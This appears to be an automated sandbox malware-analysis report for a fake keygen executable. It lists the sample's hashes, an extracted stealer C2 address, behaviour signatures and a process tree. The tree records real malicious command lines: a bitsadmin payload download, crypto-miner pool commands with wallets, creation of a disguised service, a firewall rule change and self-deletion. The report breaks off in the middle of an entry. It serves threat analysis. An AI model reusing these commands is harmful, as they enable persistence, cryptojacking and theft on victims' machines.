Resubmissions

25-04-2021 09:42

210425-v9mttlcxke 10

25-04-2021 08:59

210425-1d89vxfyln 10

25-04-2021 07:37

210425-b8smdccdwe 10

25-04-2021 06:55

210425-1csfnkw57n 10

24-04-2021 20:32

210424-x7kp9rrf4x 10

Analysis

  • max time kernel
    32s
  • max time network
    171s
  • platform
    windows10_x64
  • resource
    win10v20210408
  • submitted
    24-04-2021 20:32

Errors

Reason
Machine shutdown

General

  • Target

    keygen-step-4.exe

  • Size

    4.6MB

  • MD5

    563107b1df2a00f4ec868acd9e08a205

  • SHA1

    9cb9c91d66292f5317aa50d92e38834861e9c9b7

  • SHA256

    bf2bd257dde4921ce83c7c1303fafe7f9f81e53c2775d3c373ced482b22eb8a9

  • SHA512

    99a8d247fa435c4cd95be7bc64c7dd6e382371f3a3c160aac3995fd705e4fd3f6622c23784a4ae3457c87536347d15eda3f08aa616450778a99376df540d74d1

Malware Config

Extracted

Family

fickerstealer

C2

sodaandcoke.top:80

Signatures

  • DcRat

    DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

  • fickerstealer

    Ficker is an infostealer written in Rust and ASM.

  • xmrig

    XMRig is a high performance, open source, cross platform CPU/GPU miner.

  • Checks for common network interception software 1 TTPs

    Looks in the registry for tools like Wireshark or Fiddler commonly used to analyze network activity.

  • XMRig Miner Payload 2 IoCs
  • Creates new service(s) 1 TTPs
  • Downloads MZ/PE file
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 12 IoCs
  • Modifies Windows Firewall 1 TTPs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 2 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs
  • Looks up external IP address via web service 6 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Drops file in System32 directory 3 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Drops file in Program Files directory 12 IoCs
  • Drops file in Windows directory 1 IoCs
  • Launches sc.exe

    Sc.exe is a Windows utlilty to control services on the system.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • NSIS installer 2 IoCs
  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Delays execution with timeout.exe 1 IoCs
  • Download via BitsAdmin 1 TTPs 1 IoCs
  • Kills process with taskkill 1 IoCs
  • Modifies Internet Explorer settings 1 TTPs 1 IoCs
  • Modifies data under HKEY_USERS 13 IoCs
  • Modifies registry class 64 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Runs ping.exe 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 1 IoCs
  • Suspicious use of SetWindowsHookEx 3 IoCs
  • Suspicious use of WriteProcessMemory 52 IoCs

Processes

  • c:\windows\system32\svchost.exe
    c:\windows\system32\svchost.exe -k netsvcs -s ShellHWDetection
    1⤵
      PID:1848
    • c:\windows\system32\svchost.exe
      c:\windows\system32\svchost.exe -k netsvcs -s IKEEXT
      1⤵
        PID:2364
      • c:\windows\system32\svchost.exe
        c:\windows\system32\svchost.exe -k netsvcs -s WpnService
        1⤵
          PID:2624
        • c:\windows\system32\svchost.exe
          c:\windows\system32\svchost.exe -k netsvcs -s Browser
          1⤵
            PID:2632
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s Winmgmt
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2616
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s LanmanServer
            1⤵
            • Suspicious use of AdjustPrivilegeToken
            PID:2324
          • c:\windows\system32\svchost.exe
            c:\windows\system32\svchost.exe -k netsvcs -s SENS
            1⤵
              PID:1404
            • c:\windows\system32\svchost.exe
              c:\windows\system32\svchost.exe -k netsvcs -s UserManager
              1⤵
                PID:1248
              • c:\windows\system32\svchost.exe
                c:\windows\system32\svchost.exe -k netsvcs -s Themes
                1⤵
                  PID:1204
                • c:\windows\system32\svchost.exe
                  c:\windows\system32\svchost.exe -k netsvcs -s ProfSvc
                  1⤵
                    PID:1096
                  • c:\windows\system32\svchost.exe
                    c:\windows\system32\svchost.exe -k netsvcs -s Schedule
                    1⤵
                      PID:1044
                    • c:\windows\system32\svchost.exe
                      c:\windows\system32\svchost.exe -k netsvcs -s gpsvc
                      1⤵
                        PID:64
                      • C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe
                        "C:\Users\Admin\AppData\Local\Temp\keygen-step-4.exe"
                        1⤵
                        • Suspicious use of WriteProcessMemory
                        PID:668
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\xiuhuali.exe"
                          2⤵
                          • Executes dropped EXE
                          • Drops file in Program Files directory
                          • Suspicious use of SetWindowsHookEx
                          • Suspicious use of WriteProcessMemory
                          PID:492
                          • C:\Windows\SysWOW64\rundll32.exe
                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                            3⤵
                            • Loads dropped DLL
                            • Modifies registry class
                            • Suspicious behavior: EnumeratesProcesses
                            • Suspicious use of AdjustPrivilegeToken
                            • Suspicious use of WriteProcessMemory
                            PID:2940
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\JoSetp.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of AdjustPrivilegeToken
                          PID:2352
                        • C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe
                          "C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                          2⤵
                          • Executes dropped EXE
                          • Suspicious use of WriteProcessMemory
                          PID:2224
                          • C:\Users\Admin\AppData\Local\Temp\is-4HSR9.tmp\Install.tmp
                            "C:\Users\Admin\AppData\Local\Temp\is-4HSR9.tmp\Install.tmp" /SL5="$501E6,235791,152064,C:\Users\Admin\AppData\Local\Temp\RarSFX0\Install.exe"
                            3⤵
                            • Executes dropped EXE
                            • Loads dropped DLL
                            • Suspicious use of WriteProcessMemory
                            PID:2684
                            • C:\Users\Admin\AppData\Local\Temp\is-FAEE1.tmp\Ultra.exe
                              "C:\Users\Admin\AppData\Local\Temp\is-FAEE1.tmp\Ultra.exe" /S /UID=burnerch1
                              4⤵
                              • Drops file in Drivers directory
                              • Executes dropped EXE
                              • Adds Run key to start application
                              • Drops file in Program Files directory
                              • Suspicious use of AdjustPrivilegeToken
                              • Suspicious use of WriteProcessMemory
                              PID:4060
                              • C:\Program Files\Microsoft Office 15\ASEKITPQQK\ultramediaburner.exe
                                "C:\Program Files\Microsoft Office 15\ASEKITPQQK\ultramediaburner.exe" /VERYSILENT
                                5⤵
                                • Executes dropped EXE
                                • Suspicious use of WriteProcessMemory
                                PID:856
                                • C:\Users\Admin\AppData\Local\Temp\is-3IOS6.tmp\ultramediaburner.tmp
                                  "C:\Users\Admin\AppData\Local\Temp\is-3IOS6.tmp\ultramediaburner.tmp" /SL5="$801E2,281924,62464,C:\Program Files\Microsoft Office 15\ASEKITPQQK\ultramediaburner.exe" /VERYSILENT
                                  6⤵
                                  • Executes dropped EXE
                                  • Drops file in Program Files directory
                                  • Suspicious behavior: EnumeratesProcesses
                                  • Suspicious use of FindShellTrayWindow
                                  • Suspicious use of WriteProcessMemory
                                  PID:492
                                  • C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe
                                    "C:\Program Files (x86)\UltraMediaBurner\UltraMediaBurner.exe" -silent -desktopShortcut -programMenu
                                    7⤵
                                    • Executes dropped EXE
                                    PID:4136
                              • C:\Users\Admin\AppData\Local\Temp\f3-d3550-4c1-9a486-89e2a6d791ce7\Sutagiloli.exe
                                "C:\Users\Admin\AppData\Local\Temp\f3-d3550-4c1-9a486-89e2a6d791ce7\Sutagiloli.exe"
                                5⤵
                                • Executes dropped EXE
                                • Checks computer location settings
                                • Suspicious use of AdjustPrivilegeToken
                                PID:1836
                              • C:\Users\Admin\AppData\Local\Temp\df-ecea5-e03-fb68f-aadb0d2c52637\ZHoluliqyqe.exe
                                "C:\Users\Admin\AppData\Local\Temp\df-ecea5-e03-fb68f-aadb0d2c52637\ZHoluliqyqe.exe"
                                5⤵
                                • Executes dropped EXE
                                • Suspicious behavior: EnumeratesProcesses
                                • Suspicious use of AdjustPrivilegeToken
                                • Suspicious use of WriteProcessMemory
                                PID:4124
                                • C:\Windows\System32\cmd.exe
                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gbyy3i50.nhj\instEU.exe & exit
                                  6⤵
                                    PID:4760
                                    • C:\Users\Admin\AppData\Local\Temp\gbyy3i50.nhj\instEU.exe
                                      C:\Users\Admin\AppData\Local\Temp\gbyy3i50.nhj\instEU.exe
                                      7⤵
                                      • Executes dropped EXE
                                      PID:4872
                                  • C:\Windows\System32\cmd.exe
                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\kl2bsmkv.vaq\google-game.exe & exit
                                    6⤵
                                      PID:4928
                                      • C:\Users\Admin\AppData\Local\Temp\kl2bsmkv.vaq\google-game.exe
                                        C:\Users\Admin\AppData\Local\Temp\kl2bsmkv.vaq\google-game.exe
                                        7⤵
                                          PID:648
                                          • C:\Windows\SysWOW64\rundll32.exe
                                            "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
                                            8⤵
                                              PID:4276
                                        • C:\Windows\System32\cmd.exe
                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qcuvhyun.jtm\md1_1eaf.exe & exit
                                          6⤵
                                            PID:1328
                                            • C:\Users\Admin\AppData\Local\Temp\qcuvhyun.jtm\md1_1eaf.exe
                                              C:\Users\Admin\AppData\Local\Temp\qcuvhyun.jtm\md1_1eaf.exe
                                              7⤵
                                                PID:4480
                                            • C:\Windows\System32\cmd.exe
                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x21clix4.bjz\y1.exe & exit
                                              6⤵
                                                PID:4736
                                                • C:\Users\Admin\AppData\Local\Temp\x21clix4.bjz\y1.exe
                                                  C:\Users\Admin\AppData\Local\Temp\x21clix4.bjz\y1.exe
                                                  7⤵
                                                    PID:4780
                                                    • C:\Users\Admin\AppData\Local\Temp\VeVmd0lCGW.exe
                                                      "C:\Users\Admin\AppData\Local\Temp\VeVmd0lCGW.exe"
                                                      8⤵
                                                        PID:5352
                                                        • C:\Users\Admin\AppData\Roaming\1619303453110.exe
                                                          "C:\Users\Admin\AppData\Roaming\1619303453110.exe" /sjson "C:\Users\Admin\AppData\Roaming\1619303453110.txt"
                                                          9⤵
                                                            PID:5584
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd /c ping 127.0.0.1 -n 3 & del "C:\Users\Admin\AppData\Local\Temp\VeVmd0lCGW.exe"
                                                            9⤵
                                                              PID:860
                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                ping 127.0.0.1 -n 3
                                                                10⤵
                                                                • Runs ping.exe
                                                                PID:5108
                                                          • C:\Windows\SysWOW64\cmd.exe
                                                            cmd.exe /C timeout /T 10 /NOBREAK > Nul & Del /f /q "C:\Users\Admin\AppData\Local\Temp\x21clix4.bjz\y1.exe"
                                                            8⤵
                                                              PID:5636
                                                              • C:\Windows\SysWOW64\timeout.exe
                                                                timeout /T 10 /NOBREAK
                                                                9⤵
                                                                • Delays execution with timeout.exe
                                                                PID:5764
                                                        • C:\Windows\System32\cmd.exe
                                                          "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yhvcxla5.v11\askinstall39.exe & exit
                                                          6⤵
                                                            PID:4412
                                                            • C:\Users\Admin\AppData\Local\Temp\yhvcxla5.v11\askinstall39.exe
                                                              C:\Users\Admin\AppData\Local\Temp\yhvcxla5.v11\askinstall39.exe
                                                              7⤵
                                                                PID:4476
                                                                • C:\Windows\SysWOW64\cmd.exe
                                                                  cmd.exe /c taskkill /f /im chrome.exe
                                                                  8⤵
                                                                    PID:5828
                                                                    • C:\Windows\SysWOW64\taskkill.exe
                                                                      taskkill /f /im chrome.exe
                                                                      9⤵
                                                                      • Kills process with taskkill
                                                                      PID:6052
                                                              • C:\Windows\System32\cmd.exe
                                                                "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\n0zikjb2.mqk\inst.exe & exit
                                                                6⤵
                                                                  PID:5208
                                                                  • C:\Users\Admin\AppData\Local\Temp\n0zikjb2.mqk\inst.exe
                                                                    C:\Users\Admin\AppData\Local\Temp\n0zikjb2.mqk\inst.exe
                                                                    7⤵
                                                                      PID:5420
                                                                  • C:\Windows\System32\cmd.exe
                                                                    "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\eoot32qy.nop\SunLabsPlayer.exe /S & exit
                                                                    6⤵
                                                                      PID:5532
                                                                      • C:\Users\Admin\AppData\Local\Temp\eoot32qy.nop\SunLabsPlayer.exe
                                                                        C:\Users\Admin\AppData\Local\Temp\eoot32qy.nop\SunLabsPlayer.exe /S
                                                                        7⤵
                                                                          PID:5792
                                                                          • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                            powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh49DD.tmp\tempfile.ps1"
                                                                            8⤵
                                                                              PID:4300
                                                                            • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                              powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh49DD.tmp\tempfile.ps1"
                                                                              8⤵
                                                                                PID:5568
                                                                              • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh49DD.tmp\tempfile.ps1"
                                                                                8⤵
                                                                                  PID:5392
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh49DD.tmp\tempfile.ps1"
                                                                                  8⤵
                                                                                    PID:1760
                                                                                  • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                    powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh49DD.tmp\tempfile.ps1"
                                                                                    8⤵
                                                                                      PID:1004
                                                                                    • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                      powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh49DD.tmp\tempfile.ps1"
                                                                                      8⤵
                                                                                        PID:4700
                                                                                      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                        powershell -inputformat none -ExecutionPolicy RemoteSigned -File "C:\Users\Admin\AppData\Local\Temp\nsh49DD.tmp\tempfile.ps1"
                                                                                        8⤵
                                                                                          PID:3152
                                                                                        • C:\Windows\SysWOW64\bitsadmin.exe
                                                                                          "bitsadmin" /Transfer helper http://sunlabsinternational.com/data/data.7z C:\zip.7z
                                                                                          8⤵
                                                                                          • Download via BitsAdmin
                                                                                          PID:1160
                                                                                    • C:\Windows\System32\cmd.exe
                                                                                      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ztzxa01o.cee\GcleanerWW.exe /mixone & exit
                                                                                      6⤵
                                                                                        PID:5924
                                                                                      • C:\Windows\System32\cmd.exe
                                                                                        "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\nccstdyy.24u\toolspab1.exe & exit
                                                                                        6⤵
                                                                                          PID:6072
                                                                                          • C:\Users\Admin\AppData\Local\Temp\nccstdyy.24u\toolspab1.exe
                                                                                            C:\Users\Admin\AppData\Local\Temp\nccstdyy.24u\toolspab1.exe
                                                                                            7⤵
                                                                                              PID:5404
                                                                                              • C:\Users\Admin\AppData\Local\Temp\nccstdyy.24u\toolspab1.exe
                                                                                                C:\Users\Admin\AppData\Local\Temp\nccstdyy.24u\toolspab1.exe
                                                                                                8⤵
                                                                                                  PID:4784
                                                                                            • C:\Windows\System32\cmd.exe
                                                                                              "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\adco0htv.2p2\c7ae36fa.exe & exit
                                                                                              6⤵
                                                                                                PID:5320
                                                                                                • C:\Users\Admin\AppData\Local\Temp\adco0htv.2p2\c7ae36fa.exe
                                                                                                  C:\Users\Admin\AppData\Local\Temp\adco0htv.2p2\c7ae36fa.exe
                                                                                                  7⤵
                                                                                                    PID:5452
                                                                                                • C:\Windows\System32\cmd.exe
                                                                                                  "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\0cphooyh.x1l\app.exe /8-2222 & exit
                                                                                                  6⤵
                                                                                                    PID:1920
                                                                                                    • C:\Users\Admin\AppData\Local\Temp\0cphooyh.x1l\app.exe
                                                                                                      C:\Users\Admin\AppData\Local\Temp\0cphooyh.x1l\app.exe /8-2222
                                                                                                      7⤵
                                                                                                        PID:5844
                                                                                                        • C:\Users\Admin\AppData\Local\Temp\0cphooyh.x1l\app.exe
                                                                                                          "C:\Users\Admin\AppData\Local\Temp\0cphooyh.x1l\app.exe" /8-2222
                                                                                                          8⤵
                                                                                                            PID:5168
                                                                                              • C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe
                                                                                                "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                                                2⤵
                                                                                                • Executes dropped EXE
                                                                                                • Modifies system certificate store
                                                                                                PID:4256
                                                                                                • C:\Users\Admin\AppData\Roaming\F33.tmp.exe
                                                                                                  "C:\Users\Admin\AppData\Roaming\F33.tmp.exe"
                                                                                                  3⤵
                                                                                                    PID:5104
                                                                                                    • C:\Users\Admin\AppData\Roaming\F33.tmp.exe
                                                                                                      "C:\Users\Admin\AppData\Roaming\F33.tmp.exe"
                                                                                                      4⤵
                                                                                                        PID:4860
                                                                                                    • C:\Users\Admin\AppData\Roaming\136A.tmp.exe
                                                                                                      "C:\Users\Admin\AppData\Roaming\136A.tmp.exe"
                                                                                                      3⤵
                                                                                                        PID:4296
                                                                                                        • C:\Windows\system32\msiexec.exe
                                                                                                          -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.w27598@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
                                                                                                          4⤵
                                                                                                            PID:4940
                                                                                                          • C:\Windows\system32\msiexec.exe
                                                                                                            -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8.w32369 --cpu-max-threads-hint 50 -r 9999
                                                                                                            4⤵
                                                                                                              PID:852
                                                                                                              • C:\Windows\System32\Conhost.exe
                                                                                                                \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                5⤵
                                                                                                                • Suspicious use of WriteProcessMemory
                                                                                                                PID:4760
                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                            "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX0\filee.exe"
                                                                                                            3⤵
                                                                                                              PID:5440
                                                                                                              • C:\Windows\SysWOW64\PING.EXE
                                                                                                                ping 127.0.0.1
                                                                                                                4⤵
                                                                                                                • Runs ping.exe
                                                                                                                PID:5652
                                                                                                          • C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe
                                                                                                            "C:\Users\Admin\AppData\Local\Temp\RarSFX0\jg6_6asg.exe"
                                                                                                            2⤵
                                                                                                              PID:6128
                                                                                                            • C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe
                                                                                                              "C:\Users\Admin\AppData\Local\Temp\RarSFX0\gaoou.exe"
                                                                                                              2⤵
                                                                                                                PID:5496
                                                                                                                • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                  C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                  3⤵
                                                                                                                    PID:4708
                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
                                                                                                                    C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
                                                                                                                    3⤵
                                                                                                                      PID:5736
                                                                                                                • \??\c:\windows\system32\svchost.exe
                                                                                                                  c:\windows\system32\svchost.exe -k netsvcs -s BITS
                                                                                                                  1⤵
                                                                                                                  • Suspicious use of SetThreadContext
                                                                                                                  • Modifies registry class
                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                                  PID:1116
                                                                                                                  • C:\Windows\system32\svchost.exe
                                                                                                                    C:\Windows\system32\svchost.exe -k SystemNetworkService
                                                                                                                    2⤵
                                                                                                                    • Drops file in System32 directory
                                                                                                                    • Checks processor information in registry
                                                                                                                    • Modifies data under HKEY_USERS
                                                                                                                    • Modifies registry class
                                                                                                                    PID:3560
                                                                                                                • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
                                                                                                                  "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
                                                                                                                  1⤵
                                                                                                                  • Drops file in Windows directory
                                                                                                                  • Modifies Internet Explorer settings
                                                                                                                  • Modifies registry class
                                                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                                                  PID:4888
                                                                                                                • C:\Windows\system32\browser_broker.exe
                                                                                                                  C:\Windows\system32\browser_broker.exe -Embedding
                                                                                                                  1⤵
                                                                                                                    PID:5024
                                                                                                                  • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                    "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                    1⤵
                                                                                                                      PID:5088
                                                                                                                    • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                      "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                      1⤵
                                                                                                                        PID:2684
                                                                                                                      • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                        "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                        1⤵
                                                                                                                          PID:5664
                                                                                                                        • C:\Windows\system32\werfault.exe
                                                                                                                          werfault.exe /h /shared Global\bc9ead4077ee43e1916f39792bed51c7 /t 4852 /p 5664
                                                                                                                          1⤵
                                                                                                                            PID:6008
                                                                                                                          • C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
                                                                                                                            "C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
                                                                                                                            1⤵
                                                                                                                              PID:4768
                                                                                                                            • \??\c:\windows\system32\svchost.exe
                                                                                                                              c:\windows\system32\svchost.exe -k netsvcs -s seclogon
                                                                                                                              1⤵
                                                                                                                                PID:2184
                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\78E5.exe
                                                                                                                                C:\Users\Admin\AppData\Local\Temp\78E5.exe
                                                                                                                                1⤵
                                                                                                                                  PID:4132
                                                                                                                                  • C:\Windows\SysWOW64\icacls.exe
                                                                                                                                    icacls "C:\Users\Admin\AppData\Local\1aef7a7d-60fa-4e53-b02e-5df6c9785953" /deny *S-1-1-0:(OI)(CI)(DE,DC)
                                                                                                                                    2⤵
                                                                                                                                    • Modifies file permissions
                                                                                                                                    PID:4000
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\78E5.exe
                                                                                                                                    "C:\Users\Admin\AppData\Local\Temp\78E5.exe" --Admin IsNotAutoStart IsNotTask
                                                                                                                                    2⤵
                                                                                                                                      PID:5540
                                                                                                                                  • C:\Users\Admin\AppData\Local\Temp\8078.exe
                                                                                                                                    C:\Users\Admin\AppData\Local\Temp\8078.exe
                                                                                                                                    1⤵
                                                                                                                                      PID:6064
                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\828C.exe
                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\828C.exe
                                                                                                                                      1⤵
                                                                                                                                        PID:4188
                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\8C32.exe
                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\8C32.exe
                                                                                                                                        1⤵
                                                                                                                                          PID:4780
                                                                                                                                          • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                            "C:\Windows\System32\cmd.exe" /C mkdir C:\Windows\SysWOW64\xdtljuj\
                                                                                                                                            2⤵
                                                                                                                                              PID:4184
                                                                                                                                            • C:\Windows\SysWOW64\cmd.exe
                                                                                                                                              "C:\Windows\System32\cmd.exe" /C move /Y "C:\Users\Admin\AppData\Local\Temp\bkejbavr.exe" C:\Windows\SysWOW64\xdtljuj\
                                                                                                                                              2⤵
                                                                                                                                                PID:5880
                                                                                                                                              • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                "C:\Windows\System32\sc.exe" create xdtljuj binPath= "C:\Windows\SysWOW64\xdtljuj\bkejbavr.exe /d\"C:\Users\Admin\AppData\Local\Temp\8C32.exe\"" type= own start= auto DisplayName= "wifi support"
                                                                                                                                                2⤵
                                                                                                                                                  PID:6012
                                                                                                                                                • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                  "C:\Windows\System32\sc.exe" description xdtljuj "wifi internet conection"
                                                                                                                                                  2⤵
                                                                                                                                                    PID:4160
                                                                                                                                                  • C:\Windows\SysWOW64\sc.exe
                                                                                                                                                    "C:\Windows\System32\sc.exe" start xdtljuj
                                                                                                                                                    2⤵
                                                                                                                                                      PID:3848
                                                                                                                                                    • C:\Windows\SysWOW64\netsh.exe
                                                                                                                                                      "C:\Windows\System32\netsh.exe" advfirewall firewall add rule name="Host-process for services of Windows" dir=in action=allow program="C:\Windows\SysWOW64\svchost.exe" enable=yes>nul
                                                                                                                                                      2⤵
                                                                                                                                                        PID:2644
                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\9192.exe
                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\9192.exe
                                                                                                                                                      1⤵
                                                                                                                                                        PID:1556
                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\A096.exe
                                                                                                                                                        C:\Users\Admin\AppData\Local\Temp\A096.exe
                                                                                                                                                        1⤵
                                                                                                                                                          PID:1820
                                                                                                                                                        • C:\Users\Admin\AppData\Local\Temp\A3C4.exe
                                                                                                                                                          C:\Users\Admin\AppData\Local\Temp\A3C4.exe
                                                                                                                                                          1⤵
                                                                                                                                                            PID:1416
                                                                                                                                                          • C:\Users\Admin\AppData\Local\Temp\B374.exe
                                                                                                                                                            C:\Users\Admin\AppData\Local\Temp\B374.exe
                                                                                                                                                            1⤵
                                                                                                                                                              PID:5844
                                                                                                                                                              • C:\Windows\SysWOW64\explorer.exe
                                                                                                                                                                "C:\Windows\SysWOW64\explorer.exe"
                                                                                                                                                                2⤵
                                                                                                                                                                  PID:5828
                                                                                                                                                              • C:\Users\Admin\AppData\Local\Temp\C0C4.exe
                                                                                                                                                                C:\Users\Admin\AppData\Local\Temp\C0C4.exe
                                                                                                                                                                1⤵
                                                                                                                                                                  PID:4840
                                                                                                                                                                • C:\Windows\SysWOW64\xdtljuj\bkejbavr.exe
                                                                                                                                                                  C:\Windows\SysWOW64\xdtljuj\bkejbavr.exe /d"C:\Users\Admin\AppData\Local\Temp\8C32.exe"
                                                                                                                                                                  1⤵
                                                                                                                                                                    PID:6080
                                                                                                                                                                    • C:\Windows\SysWOW64\svchost.exe
                                                                                                                                                                      svchost.exe
                                                                                                                                                                      2⤵
                                                                                                                                                                        PID:5728
                                                                                                                                                                    • C:\Users\Admin\AppData\Local\Temp\CEBF.exe
                                                                                                                                                                      C:\Users\Admin\AppData\Local\Temp\CEBF.exe
                                                                                                                                                                      1⤵
                                                                                                                                                                        PID:6044
                                                                                                                                                                      • C:\Users\Admin\AppData\Local\Temp\EDE1.exe
